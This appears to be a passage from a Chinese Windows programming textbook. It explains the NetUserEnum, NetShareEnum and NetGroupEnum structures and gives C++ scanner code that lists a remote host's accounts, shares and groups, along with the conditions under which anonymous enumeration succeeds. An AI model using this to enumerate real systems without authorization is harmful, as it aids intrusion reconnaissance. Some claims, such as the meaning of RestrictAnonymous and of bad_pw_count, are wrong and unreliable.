DWORD usri2_country_code;

DWORD usri2_code_page;

}USER_INFO_2,*PUSER_INFO_2,*LPUSER_INFO_2;



结构成员参见USER_INFO_1结构中各同名成员的解释（当然，所有变量名的前缀usri2要转换成usri1，后同），增加了以下项：

❑usri2_auth_flags：该值是一个DWORD类型的值，该值占32位（4个字节），以位图的方式定义了一些用户的操作权限。目前该值可以是下面各值的组合:
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❑usri2_full_name：用户全名。与usri2_name相比，该名称可以为空，并且其长度没有限制，只要用null作为结束即可。

❑usri2_usr_comment：用户注释，该名称可以为空，并且其长度没有限制，只要用null作为结束即可。

❑usri2_parms：用户参数，指向一个被应用程序保留的Unicode字符串。该名称可以为空，并且其长度没有限制，只要用null作为结束即可。Microsoft产品通常使用该变量保存用户配置的信息，并且不建议用户修改。

❑usri2_workstations：工作站。指向包含若干个工作站名称的Unicode字符串，此工作站是该用户可以登录的。此工作站的名称最多可以包含8个，每两个工作站名之间用半角的逗号隔开。如果是空串，则表示没有限制，所有工作站都可以登录。如果禁止该用户登录所有的工作站，则可以通过将usri2_flags中的UF_ACCOUNTDISABLE置位即可（置位后表示该用户帐户已停用）。

❑usri2_last_logon：用户的最后一次登录记录。该值是一个DWORD类型的值，表示的是该帐户最近一次登录的时间和“1970年1月1日0点0分0秒”之间以秒为单位的时间差。

❑usri2_last_logoff：用户的最后一次退出记录，与usri2_last_logon类似，该值也是一个DWORD类型的值，表示的是该帐户最近一次登录的时间和“1970年1月1日0点0分0秒”之间以秒为单位的时间差。

❑usri2_acct_expires：用户帐户过期的时间，同样也是与“1970年1月1日0点0分0秒”之间以秒为单位的时间差的DOWRD类型。如果该值是TIMEQ_FOREVER，表示该帐户永不过期。

❑usri2_max_storage：该用户能使用的最大存储空间，主要是硬盘等外存空间。如果该值是USER_MAXSTORAGE_UNLIMITED，则表示理论上，对该用户没有存储空间的限制，所有的硬盘都可以使用。

❑usri2_units_per_week：该值是DWORD类型，用来表示将一周的时间等分成多少个时间单元。该值的计算也与usri2_logon_hours的长度有关。在Windows NT/2000的服务中，被等分的单元必须是下列三值之一：
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❑usri2_logon_hours：该值是一个指向无符号字节数组的指针。如果usri2_units_per_week的值是SAM_HOURS_PER_WEEK，则数组长达21个字节，168位，每一位代表一周内某一个小时的时间段，如果该位为1，表示此时间段该用户可以登录系统；否则不能登录。（对于该格式与实际日期的对应关系，详见后面本节的专题说明。）

❑usri2_bad_pw_count：该值是一个DWORD无符号整数值，用来表示用户登录时，密码允许连续输错的次数，如果该值是-1表示该值不知道是什么值（考虑到DWORD是一个无符号整数，应该是大于或等于0的值，故此处应该把该数作为一个int来处理）。

❑usri2_num_logons：该值是一个DWORD值，用来表示用户成功登录次数。如果该值是-1表示该值不知道是什么值。同样，该值也应该转成int后处理。

❑usri2_logon_server：该值是一个指向Unicode字符串的指针，指向的是所登录的服务器名，在服务器名前有个双路径符“\\”的前缀。如果可以登录所有的服务器，则用“\\*”表示，如果是空串，则表示登录前需要先发送请求到域控制器。

❑usri2_country_code：该值是一个DWORD值，表示该用户所在的国家地区码。

❑usri2_code_page：该值是一个DWORD值，表示用户操作系统所选用的语言代码页。

4.5.2.4　USER_INFO_3结构



typedef struct_USER_INFO_3{

LPWSTR usri3_name;

LPWSTR usri3_password;

DWORD usri3_password_age;

DWORD usri3_priv;

LPWSTR usri3_home_dir;

LPWSTR usri3_comment;

DWORD usri3_flags;

LPWSTR usri3_script_path;

DWORD usri3_auth_flags;

LPWSTR usri3_full_name;

LPWSTR usri3_usr_comment;

LPWSTR usri3_parms;

LPWSTR usri3_workstations;

DWORD usri3_last_logon;

DWORD usri3_last_logoff;

DWORD usri3_acct_expires;

DWORD usri3_max_storage;

DWORD usri3_units_per_week;

PBYTE usri3_logon_hours;

DWORD usri3_bad_pw_count;

DWORD usri3_num_logons;

LPWSTR usri3_logon_server;

DWORD usri3_country_code;

DWORD usri3_code_page;

DWORD usri3_user_id;

DWORD usri3_primary_group_id;

LPWSTR usri3_profile;

LPWSTR usri3_home_dir_drive;

DWORD usri3_password_expired;

}USER_INFO_3,*PUSER_INFO_3,*LPUSER_INFO_3;



结构成员与USER_INFO_1和USER_INFO_2的结构成员大同小异，请将前缀调整后，参阅同名变量的解释。同时，增加了如下几项：

❑usri3_user_id：该值是一个DWORD值，该值包括该用户的“相关ID值”（Relative ID，RID），该值是在创建的时候由操作系统的“安全帐户管理”（Security Account Manager，SAM）生成，在每一个域中，该ID是互异的。

❑usri3_primary_group_id：该值是一个DWORD值，该值包括了该用户在"Primary Global Group"中的ID值。

❑usri3_profile：该值是个Unicode字符串指针，指向一个用户自身配置文件的全路径。该值可以是一个空串（null）表示没有配置文件。全路径的文件名既可以是绝对路径，也可是“标准命名转换”（Uniform Naming Convention，UNC）路径。例如绝对路径的文件字符串"C:\WINDOWS\System32\cmd.exe"，按UNC路径规则，可以写作是"%SystemDrive%\Windows\System32\cmd.exe"，也可以写作另外一个等价的方式是"%SystemRoot%\System32\cmd.exe"，甚至可以直接写成"%ComSpec%"，因为SystemDrive、SystemRoot、ComSpec都是系统变量。要查看本机中当前所有的变量，可以通过set命令，如图4.7所示。

❑usri3_home_dir_drive：该值是个Unicode字符串指针，指向一个用户自身配置文件所在的驱动器盘符。

❑usri3_password_expired：该值是一个DWORD无符号整数，该值用于保存密码过期的时间信息。
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图　4.7　环境变量全图

4.5.2.5　USER_INFO_10结构



typedef struct_USER_INFO_10{

LPWSTR usri10_name;

LPWSTR usri10_comment;

LPWSTR usri10_usr_comment;

LPWSTR usri10_full_name;

}USER_INFO_10,*PUSER_INFO_10,*LPUSER_INFO_10;



结构成员参见USER_INFO_0、USER_INFO_1、USER_INFO_2各成员的解释。

4.5.2.6　USER_INFO_11结构



typedef struct_USER_INFO_11{

LPWSTR usri11_name;

LPWSTR usri11_comment;

LPWSTR usri11_usr_comment;

LPWSTR usri11_full_name;

DWORD usri11_priv;

DWORD usri11_auth_flags;

DWORD usri11_password_age;

LPWSTR usri11_home_dir;

LPWSTR usri11_parms;

DWORD usri11_last_logon;

DWORD usri11_last_logoff;

DWORD usri11_bad_pw_count;

DWORD usri11_num_logons;

LPWSTR usri11_logon_server;

DWORD usri11_country_code;

LPWSTR usri11_workstations;

DWORD usri11_max_storage;

DWORD usri11_units_per_week;

PBYTE usri11_logon_hours;

DWORD usri11_code_page;

}USER_INFO_11,*PUSER_INFO_11,*LPUSER_INFO_11;



结构成员参见前几节。

4.5.2.7　USER_INFO_20结构



typedef struct_USER_INFO_20{

LPWSTR usri20_name;

LPWSTR usri20_full_name;

LPWSTR usri20_comment;

DWORD usri20_flags;

DWORD usri20_user_id;

}USER_INFO_20,*PUSER_INFO_20,*LPUSER_INFO_20;



结构成员参见前几节。

4.5.2.8　PBYTE结构与实际日期的换算公式

每个位（bit）和一周内时间的对应关系是：数组各字节由0到21依次表示为一周从星期日至星期六（与中国习惯将星期一作为一周开始不同，西方习惯将星期日作为一周的开始）的所有小时，每3个字节表示一天的24个小时，每1位表示1个小时。按此推断，第0个字节的第0位表示为周日的00:00:00～00:59:59；第0个字节的第1位表示为周日的01:00:00～01:59:59，第20个字节的第7位表示为周六的23:00:00～23:59:59。

互换的计算方法为（以下除法全部自动向下取整）：

周中天的序号=数组下标/3；//一周中，天的序号范围：0～6；数组下标范围：0～20。

天中小时的序号=（数组下标%3）×8+位序号；//位序号范围：0～7。

数组下标=周中天的序号×3+天中小时的序号/8；

位序号=天中小时的序号%8；

例如：usri2_logon_hours[4]的第3位所对应的是：周1（=4/3）的11:00:00～11:59:59（=(4%3)×8+3）时段。

再如：周三的20:00:00～20:59:59所对应的是：usri2_logon_hours[11]（=3×3+20/8）的第2位（=20%8）。

4.5.2.9　NetUserEnum函数使用注意事项

NetUserEnum函数看上去是一个令人激动的函数，因为它离黑客攻击是如此接近（详见第11章的11.2节），似乎该函数可攻击任何主机，只是一个时间的问题。但实际中，使用该函数需要很多条件，实际的效果并没有想像中那么好。具体地说，该函数需要注意的事项有以下内容：

❑该函数的执行需要在Windows NT/2000/XP/2003及以上的操作系统，Windows 95/98/Me及以前的操作系统不能执行此函数。因此，如果扫描的目的主机是后者系列，则无法扫描到结果。更重要的是，该函数是否能成功地执行，也与对方的操作系统及操作系统中的设置有关。

❑在Windows NT 4.0上，对访问权限没有限制，任何用户都可以成功地被执行；

❑在Windows 2000操作系统中，如果在一个运行了活动目录（Active Directory）的Windows 2000域控制器中调用，是否被允许运行取决于访问控制列表（ACL，AccessControl List）。默认的ACL允许所有的授权用户和“Windows 2000的向后兼容访问权限（Pre-Windows 2000 compatible access）”组的用户可以成功访问。同时，默认情况下，该组包括了“全体成员”（everyone），这使得任何人都可以以匿名的方式访问该功能。

❑如果调用的是Windows 2000 Server版或Windows 2000 Workstation版，在“本地策略”的安全选项中，“对匿名连接的额外限制”项的"Restrict Anonymous"值为允许，则所有授权用户都被允许匿名访问。默认情况下，该项是允许的，所以所有授权用户都可访问。

❑如果调用的是Windows Server 2003版，其“本地策略”中的“网络访问：不允许SAM帐户的匿名枚举”和“网络访问：不允许SAM帐户和共享的匿名枚举”策略设置代替了Windows 2000中的“对匿名连接的额外限制”策略设置。如果这两项都被允许，则所有授权用户都可访问。默认情况下，该项是允许的，所以所有授权用户都可访问。

❑在Windows XP的“本地策略”中，并没有该选项，所以无法通过本地策略进行配置。但与Windows 2000/2003相同的是：该功能本身是具备的，只是未提供设置与修改的界面，分析Windows 2000/2003的原理，界面的设置其实也只是修改了注册表中的某些键值（在Windows 2000中，该键值是RestrictAnonymous，在Windows 2003中，该键值分别是RestrictAnonymousSAM和RestrictAnonymous），在Windows XP中同样可以通过设置与Windows 2000相同的键值实现此功能。该键值位于：HKLM\SYSTEM\CurrentControlSet\Control\LSA，如果RestrictAnonymous值设置为1，则允许访问；如果为0，则不允许访问。默认情况下，该键值并不存在，并且按0来处理，所以默认情况下，Windows XP是不允许未授权用户访问的。

简而言之，通过该函数读取对方用户名列表能否成功，取决于对方操作系统类型和设置。默认情况下，如果对方是Windows XP则是不成功的；如果对方是Windows NT/2000/2003及以上版本则成功。如果对方限制了此功能，则除非对方是Windows NT4.0，否则也无法成功。

NetUserEnum函数调用的时候只会返回该主机上，通过NetUserAdd注册增加的用户名，不是通过该功能增加的不会被读取，另外用户名的列表基本上是按NetUserAdd添加的顺序，而不是按姓名排序。对于有几个可以读到密码的组合，考虑到安全性，所有密码项均为空（null）。

如果使用NetUserEnum函数，需要手动包含头文件Lm.h，并显式或隐式地链接静态链接库Netapi32.lib。

下面代码即实现了根据IP地址读取该主机的用户名列表，并将读到的用户名列表依次插入到TreeCtrl控件当前位置的功能。



BOOL CNetBIOSScanerDlg::ReadUser(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//用户========================================

//本例中，采用USER_INFO_3的结构

LPUSER_INFO_3 pUser_3=NULL;

DWORD dwPrefMaxLen=-1;

DWORD dwEntriesRead=0;

DWORD dwTotalEntries=0;

DWORD dwResumeHandle=0;

DWORD dwLevel=3;

nStatus=NetUserEnum((LPCWSTR)strIP,//远端主机名

dwLevel,//级别为0

FILTER_NORMAL_ACCOUNT,//获全部用户名

(LPBYTE*)＆pUser_3,//放入

dwPrefMaxLen,

＆dwEntriesRead,

＆dwTotalEntries,

＆dwResumeHandle);

if(nStatus!=NERR_Success＆＆nStatus!=ERROR_MORE_DATA)

{//如果出错，则将返回码和常见错误码弹出以便查找

strTemp.Format("%d%d%d%d",nStatus,ERROR_ACCESS_DENIED,

NERR_InvalidComputer,ERROR_MORE_DATA);

MessageBox(strTemp);

}

else

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("用户名",2,3,rtItem);

LPUSER_INFO_3 pTmpUser_3=pUser_3;

for(DWORD i=0;i＜dwEntriesRead;i++)

{//依次处理读到的各用户名。如果使用其他结构，只是能显示的数量变化而已

char NameBuff[160];

strTemp.Format("%S[%S]",pTmpUser_3-＞usri3_name,pTmpUser_3-＞usri3_full_name);

HTREEITEM sub=m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

WideCharToMultiByte(CP_ACP,0,pTmpUser_3-＞usri3_full_name,150,

NameBuff,100,NULL,NULL);

strTemp.Format("用户全名:%s",NameBuff);

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

WideCharToMultiByte(CP_ACP,0,pTmpUser_3-＞usri3_comment,150,

NameBuff,100,NULL,NULL);

strTemp.Format("用户描述:%s",NameBuff);

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

WideCharToMultiByte(CP_ACP,0,pTmpUser_3-＞usri3_logon_server,150,

NameBuff,100,NULL,NULL);

strTemp.Format("登录主机:%s[\\\\*:可从任意主机登录]",NameBuff);

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

WideCharToMultiByte(CP_ACP,0,pTmpUser_3-＞usri3_script_path,150,

NameBuff,100,NULL,NULL);

strTemp.Format("登录脚本:%s",NameBuff);

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

WideCharToMultiByte(CP_ACP,0,pTmpUser_3-＞usri3_profile,150,

NameBuff,100,NULL,NULL);

strTemp.Format("Profile:%s",NameBuff);

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

int dValue=pTmpUser_3-＞usri3_password_age;

strTemp.Format("口令已用:%ld天%d小时%d分",

dValue/(24*3600),dValue%(24*3600)/(3600),(dValue%3600)/60);

dValue=pTmpUser_3-＞usri3_acct_expires;

if(dValue==TIMEQ_FOREVER)

strTemp+="永不过期";

else

{

strTemp.Format("%ld天%d小时%d分后过期",

dValue/(24*3600),dValue%(24*3600)/(3600),(dValue%3600)/60);

}

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

dValue=pTmpUser_3-＞usri3_last_logon;

strTemp.Format("最近登录:%ld天%d小时%d分",

dValue/(24*3600),dValue%(24*3600)/(3600),(dValue%3600)/60);

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

switch(pTmpUser_3-＞usri3_priv)

{

case USER_PRIV_GUEST:strTemp.Format("用户级别:Guest");break;

case USER_PRIV_USER:strTemp.Format("用户级别:User");break;

case USER_PRIV_ADMIN:strTemp.Format("用户级别:Administrator");break;

default:strTemp.Format("用户级别:未定义");break;

}

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

dValue=pTmpUser_3-＞usri3_bad_pw_count;

if(dValue==0)

strTemp="登录次数:无限";

else

{

if(dValue==0xFFFFFFFF)

strTemp="登录次数:unknown";

else

strTemp.Format("登录次数:%ld",dValue);

}

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

dValue=pTmpUser_3-＞usri3_num_logons;

if(dValue==0)

strTemp="成功次数:从未用过";

else

{

if(dValue==0xFFFFFFFF)

strTemp="成功次数:unknown";

else

strTemp.Format("成功次数:%ld",dValue);

}

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

strTemp.Format("用户级别:");

if(pTmpUser_3-＞usri3_flags＆UF_ACCOUNTDISABLE)

strTemp+="已停用";

if(pTmpUser_3-＞usri3_flags＆UF_PASSWD_CANT_CHANGE)

strTemp+="不可修改";

if(pTmpUser_3-＞usri3_flags＆UF_DONT_EXPIRE_PASSWD)

strTemp+="永不过期";

if(pTmpUser_3-＞usri3_flags＆UF_PASSWD_NOTREQD)

strTemp+="不需口令";

m_ctlTreeResult.InsertItem(strTemp,4,5,sub);

pTmpUser_3++;

}

}

//结束时一定要释放所申请的内存，否则会造成内存泄漏

if(pUser_3!=NULL)

NetApiBufferFree(pUser_3);

return TRUE;

}




4.5.3　共享目录的读取

读取共享目录需要用到函数NetShareEnum，该函数既可以读取本地的共享目录列表，也可以读取其他主机上的共享目录列表，并且该函数不仅可以读取用户所设定的共享目录，也可以读取系统自动设置的隐藏的共享目录。

该函数的结构，随本地操作系统的版本不同而不同。在Windows NT/2000/XP及以后的版本中，该函数的结构为：



NET_API_STATUS NetShareEnum(

LPWSTR servername,

DWORD level,

LPBYTE*bufptr,

DWORD prefmaxlen,

LPDWORD entriesread,

LPDWORD totalentries,

LPDWORD

resume_handle

);



在Windows 95/98版本中，该结构为：



extern API_FUNCTION

NetShareEnum(

const char FAR*pszServer,

short sLevel,

char FAR*pbBuffer,

unsigned short cbBuffer,

unsigned short FAR*pcEntriesRead,

unsigned short FAR*pcTotalAvail

);



在上面后者结构中，调用程序必须使用cbBuffer参数指明缓冲区pbBuffer的大小，按字节为单位。在Windows NT/2000中，该长度被指定为prefmaxlen，并且不存在resume_handle句柄。下面主要以前者为例进行说明。

前者函数的返回值为一个NET_API_STATUS类型的变量，该变量等价于DWORD类型，是一个4字节的无符号整数，如果调用成功，则返回NERR_Success；如果调用不成功，则返回错误码。

参数如下：

❑servername：要读取共享目录列表的远端主机名，与NetUserEnum不同的是，该主机名字符串格式按调用主机的操作系统，如果是Windows NT/2000/XP等之后的操作系统，必须是使用基于Unicode格式，如果是Windows 95/98/Me等早期的操作系统，则可以使用美国标准码ANSI（American National Standards Institute）格式。无论是哪一种，如果读取远端主机名，则必须在主机名前加上“\\”符号；如果读取本地主机，则该值为NULL。

❑level：读取共享目录的级别。每个用户有多项参数，需求不一样，则对这些参数的要求范围也不一样，由于这些信息需要在网上传输，所以一般来说，根据自己的需要，可以选择合适的读取范围即可。还需要注意的是，使用该函数的主机也因操作系统不同而不同。该值有如下选择：
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❑bufptr：指向一个缓冲区。函数调用成功时，会将读取的数据指针赋予此值，通过该值可以读取返回的结构。具体返回结构是哪一个，可以参见Level项。该函数的调用不像前面所介绍的GetNetworkParams函数，需要在调用之前，预设好返回的缓冲区，该函数不需要预设缓冲区，但在调用后，会通过该指针传出。在Windows NT/2000中，这种由函数申请的系统级内存在用完的时候，需要通过调用NetApiBufferFree释放掉，这一点需特别注意，即使调用时，系统返回“数据不足（ERROR_MORE_DATA）”错误，也要及时释放掉。在Windows 95/98/Me中，调用前要用allocate申请内存，调用后用deallocate释放内存。

❑prefmaxlen、entriesread、totalentries、resume_handle参数的含义参见4.5.2节函数Net User Enum的介绍。

扫描程序运行的Windows操作系统版本不同，除了调用的函数不同之外，返回参数的结构也不尽相同，如在Windows 95/98/Me下，返回的结构有share_info_0、share_info_1、share_info_2、share_info_50三个结构；在Windows NT/2000/XP及以后的版本中，返回的结构有SHARE_INFO_0、SHARE_INFO_1、SHARE_INFO_2、SHARE_INFO_501、SHARE_INFO_502、SHARE_INFO_1004、SHARE_INFO_1005、SHARE_INFO_1006、SHARE_INFO_1501。从程序设计角度来说，上述各结构在实际使用中可根据需要进行选择，无论是哪一种，所读到的共享目录个数和顺序都是一样的，只是显示的内容项数据有不同的组合。下面选择最常用的几个结构依次说明。

4.5.3.1　SHARE_INFO_0结构



typedef struct_SHARE_INFO_0{

LPWSTR shi0_netname;

}SHARE_INFO_0,*PSHARE_INFO_0,*LPSHARE_INFO_0;



结构成员：shi0_netname为读到的Unicode字符串表示的共享目录，该字符串最大长度为256个字节。

4.5.3.2　SHARE_INFO_1结构



typedef struct_SHARE_INFO_1{

LPWSTR shi1_netname;

DWORD shi1_type;

LPWSTR shi1_remark;

}SHARE_INFO_1,*PSHARE_INFO_1,*LPSHARE_INFO_1;



结构成员如下：

❑shi1_netname：参见SHARE_INFO_0结构中shi0_netname成员的解释。

❑shi1_type：该值是一个DWORD类型值，主要有以下几种可能：
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❑shi1_remark：共享注释，该值是一个指向Unicode字符串的指针，该字符串包含该共享的描述。

4.5.3.3　SHARE_INFO_2结构



typedef struct_SHARE_INFO_2{

LPWSTR shi2_netname;

DWORD shi2_type;

LPWSTR shi2_remark;

DWORD shi2_permissions;

DWORD shi2_max_uses;

DWORD shi2_current_uses;

LPWSTR shi2_path;

LPWSTR shi2_passwd;

}SHARE_INFO_2,*PSHARE_INFO_2,*LPSHARE_INFO_2;



结构成员参见前两节的说明，增加了如下几项：

❑shi2_permissions：该值是一个DWORD类型值，该值表示的是共享资源的读写权限。该值可以是以下几种组合项：
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❑shi2_max_uses：该值是一个DWORD类型值，表示的是最大的同时连接数。如果该值是-1，则表示对连接数不作限制。如前所述，该处的DWORD也要作为int处理一样，才能与-1作比较。

❑shi2_current_uses：该值是一个DWORD类型值，表示的是当前的连接数。

❑shi2_path：该值是一个指向Unicode字符串的指针，该字符串包含该共享的路径描述，如果是个磁盘共享，则此字符串保存的是一个路径名；如果是打印机队列，则显示的是打印机的名称。

❑shi2_passwd：该值是一个指向Unicode字符串的指针，如果当前运行在共享安全级别，该字符串包含共享的密码；如果当前运行在用户安全级别，则该项不需要考虑。整个密码串的总长度，包括终止符（‘\0’），不能大于9个字符。

4.5.3.4　SHARE_INFO_502结构



typedef struct_SHARE_INFO_502{

LPWSTR shi502_netname;

DWORD shi502_type;

LPWSTR shi502_remark;

DWORD shi502_permissions;

DWORD shi502_max_uses;

DWORD shi502_current_uses;

LPWSTR shi502_path;

LPWSTR shi502_passwd;

DWORD shi502_reserved;

PSECURITY_DESCRIPTOR shi502_security_descriptor;

}SHARE_INFO_502,*PSHARE_INFO_502,*LPSHARE_INFO_502;



结构成员参见前三节的说明，增加了如下几项：

❑shi502_reserved：该项保留，读取时通常都是0。

❑shi502_security_descriptor：跟共享相关的安全描述。该函数是PSECURITY_DESCRIPTOR类的指针。

4.5.3.5　share_info_1结构



#define LM20_NNLEN 12//网络名称的最大长度，即"NetBIOS名称"的长度

struct_share_info_1{

char shi1_netname[LM20_NNLEN+1];

char shi1_pad1;

unsigned short shi1_type;

char FAR*shi1_remark;

};



share_info_1结构结构成员参见前几节，不同的项如下：

❑shi1_netname：读到的ANSI字符串表示的共享目录，该字符串最大长度为13个字节。

❑shi1_pad1：填充用的字符位置。

❑shi1_remark：共享注释，该值是一个指向ANSI字符串的指针，该字符串包含该共享的描述。

4.5.3.6　share_info_50结构



#define LM20_NNLEN 12//网络名称的最大长度，即"NetBIOS名称"的长度

#define SHPWLEN 8//共享密码的长度（以字节为单位）

struct_share_info_50{

char shi50_netname[LM20_NNLEN+1];

unsigned char shi50_type;

unsigned short shi50_flags;

char FAR*shi50_remark;

char FAR*shi50_path;

char shi50_rw_password[SHPWLEN+1];

char shi50_ro_password[SHPWLEN+1];

};



结构成员参见前几节，不同的项如下：

❑shi50_flags：该值是SHORT int类型值，该值表示的是共享资源的读写权限。该值可以是以下几种组合项：
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❑shi50_remark：参见上节相似结构成员的说明。

❑shi50_path：共享路径，该值是一个指向ANSI字符串的指针，该字符串中所有字符必为大写字母。

❑shi50_rw_password：读写密码：如果当前是共享级的安全（即向远端主机读写时），则读或写数据都需要有此密码项；如果当前是用户级的安全（即向本地主机读写数据）时，该项不必考虑。

❑shi50_ro_password：只读密码：如果当前是共享级的安全（即向远端主机读数据时），则读数据都需要有此密码项；如果当前是用户级的安全（即向本地主机读数据）时，该项不必考虑。

该函数同样具有需要注意的事项。该函数的执行需要考虑当前的操作系统，不同的操作系统调用的结构不一样，前面已说得很详细了，此处不再赘述。

如果使用NetUserEnum函数，需要手动包含头文件Lmshare.h。

下面代码即实现了根据IP地址读取该主机的共享目录，并将读到的目录列表依次插入到TreeCtrl控件当前位置的功能。



BOOL CNetBIOSScanerDlg::ReadShareDirectory(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//共享目录======================================

//本例中读取的是SHARE_INFO_1的结构

LPSHARE_INFO_1 pShare_1=NULL;

DWORD dwPrefMaxLen=-1;

DWORD dwEntriesRead=0;

DWORD dwTotalEntries=0;

DWORD dwResumeHandle=0;

DWORD i;

DWORD dwLevel=1;

nStatus=NetShareEnum((char*)strIP,//远端主机名

dwLevel,//级别为0

(LPBYTE*)＆pShare_1,//放入

dwPrefMaxLen,

＆dwEntriesRead,

＆dwTotalEntries,

＆dwResumeHandle);

if((nStatus==NERR_Success)||(nStatus==ERROR_MORE_DATA))

{//注意返回ERROR_MORE_DATA并不是错误，多余部分的读取略

HTREEITEM curr=m_ctlTreeResult.InsertItem("共享文件夹",2,3,rtItem);

LPSHARE_INFO_1 pTmpShare_1=pShare_1;

for(i=0;i＜dwEntriesRead;i++)

{//依次读取各个用户

char NameBuff[160];

WideCharToMultiByte(CP_ACP,0,

(unsigned short*)pTmpShare_1-＞shi1_netname,150,NameBuff,

100,NULL,NULL);

strTemp.Format("%s[%S]",NameBuff,pTmpShare_1-＞shi1_remark);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

pTmpShare_1++;

}

}

//结束时一定要释放所申请的内存，否则会造成内存泄漏

if(pShare_1!=NULL)

NetApiBufferFree(pShare_1);

return TRUE;

}




4.5.4　组列表的读取

读取组列表需要用到函数NetGroupEnum，该函数既可以读取本地的组列表，也可以读取其他主机上的组列表，并且该函数不仅可以读取用户所设定的组列表，也可以读取系统所有组列表。该函数只能运行在Windows NT/2000/XP及以后的版本中，在Windows 95/98/Me等系统中不能使用，也扫描不到。该函数的结构为：



NET_API_STATUS NetGroupEnum(

LPCWSTR servername,

DWORD level,

LPBYTE*bufptr,

DWORD prefmaxlen,

LPDWORD entriesread,

LPDWORD totalentries,

PDWORD_PTR resume_handle

);



返回值：返回NET_API_STATUS类型的变量，该变量等价于DWORD类型，是一个4字节的无符号整数，主要有如下几种可能：
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参数如下：

❑servername：要读取组列表的远端主机名，该主机名字符串格式使用Unicode格式，如果读取远端主机名，则必须在主机名前加上“\\”符号；如果读取本地主机，则该值为NULL。

❑level：读取组列表的级别。每个用户有多项参数，需求不一样，则对这些参数的要求范围也不一样，由于这些信息需要在网上传输，所以一般来说，根据自己的需要，可以选择合适的读取范围即可。还需要注意的是，使用该函数的主机也因操作系统不同而不同。可选的level值如下：

[image: ]


bufptr、prefmaxlen、entriesread、totalentries、resume_handle参数的含义参见4.5.2节函数NetUserEnum的介绍。

如前所述，该函数可以通过设定不同的级别来选择所读取的用户组内容，由于“用户组”的概念是Windows NT中才出现的，所以该函数在Windows 95/98/Me下无法使用，在Windows NT/2000/XP及以后版本，用户可以分别使用GROUP_INFO_0、GROUP_INFO_1、GROUP_INFO_2、GROUP_INFO_1002、GROUP_INFO_1005五个结构，无论是哪一种，所读到的组列表个数和顺序都是一样的，只是显示的内容项数据有不同的组合。下面选择其中最常用的前三种依次说明。

4.5.4.1　GROUP_INFO_0结构



typedef struct_GROUP_INFO_0{

LPWSTR grpi0_name;

}GROUP_INFO_0,*PGROUP_INFO_0,*LPGROUP_INFO_0;



结构成员：grpi0_name为读到的Unicode字符串表示的组列表，该字符串最大长度为256个字节。

4.5.4.2　GROUP_INFO_1结构



typedef struct_GROUP_INFO_1{

LPWSTR grpi1_name;

LPWSTR grpi1_comment;

}GROUP_INFO_1,*PGROUP_INFO_1,*LPGROUP_INFO_1;



结构成员如下：

❑grpi1_name：参见上小节中grpi0_name的说明。

❑grpi1_comment：组的描述，读取Unicode字符串，该字符串最长为256个字节。

4.5.4.3　GROUP_INFO_2结构



typedef struct_GROUP_INFO_2{

LPWSTR grpi2_name;

LPWSTR grpi2_comment;

DWORD grpi2_group_id;

DWORD grpi2_attributes;

}GROUP_INFO_2,*PGROUP_INFO_2;



结构成员参见前两小节，不同的项如下：

❑grpi2_group_id：组的ID值，该值是一个DWORD类型。表示的是该组的ID值。

❑grpi2_attributes：组的属性，该值是一个DWORD类型。表示的是组的属性。如果是在Windows NT/2000中，不需要再设置这些属性。

该函数同样具有需要注意的事项，参见4.5.3.6小节。

下面代码即实现了根据IP地址读取该主机的组名列表，并将读到的组名列表依次插入到TreeCtrl控件当前位置的功能。



BOOL CNetBIOSScanerDlg::ReadGroup(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//组名==================================

//本处使用的是GROUP_INFO_2结构

PGROUP_INFO_2 pGroup_2=NULL;

DWORD dwPrefMaxLen=-1;

DWORD dwEntriesRead=0;

DWORD dwTotalEntries=0;

DWORD dwResumeHandle=0;

DWORD dwLevel=2;

nStatus=NetGroupEnum((LPWSTR)strIP,//远端主机名

dwLevel,//级别为0

(LPBYTE*)＆pGroup_2,//放入

dwPrefMaxLen,

＆dwEntriesRead,

＆dwTotalEntries,

＆dwResumeHandle);

if((nStatus==NERR_Success)||(nStatus==ERROR_MORE_DATA))

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("全局组名",2,3,rtItem);

PGROUP_INFO_2 pTmpGroup_2=pGroup_2;

for(DWORD i=0;i＜dwEntriesRead;i++)

{//依次读取各组名

strTemp.Format("组名：%S[%S],组ID：%d,属性：%d",

pTmpGroup_2-＞grpi2_name,pTmpGroup_2-＞grpi2_comment,

pTmpGroup_2-＞grpi2_group_id,pTmpGroup_2-＞grpi2_attributes);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

pTmpGroup_2++;

}

}

//结束时一定要释放所申请的内存，否则会造成内存泄漏

if(pGroup_2!=NULL)

NetApiBufferFree(pGroup_2);

return TRUE;

}




4.5.5　远端主机时间的读取

要读取远端主机的时间，需要用到函数NetRemoteTOD，该函数既可以读取本地的实时时间，也可以读取其他主机上的实时时间。该函数只能运行在Windows NT/2000/XP及以后的版本中，在Windows 95/98/Me等系统中不能使用，并且要求要读取的主机也只能是Windows NT/2000/XP及以后的版本。该函数的结构为：



NET_API_STATUS NetRemoteTOD(

LPCWSTR UncServerName,

LPBYTE*BufferPtr

);



返回值为一个NET_API_STATUS类型的变量，该变量等价于DWORD类型，是一个4字节的无符号整数。如果调用成功，则返回NERR_Success；如果调用不成功，则返回错误码。

参数如下：

❑UncServerName：要读取时间的远端主机名，该主机名字符串格式是使用基于Unicode格式，如果读取远端主机名，则必须在主机名前加上“\\”符号；如果读取本地主机，则该值为NULL。

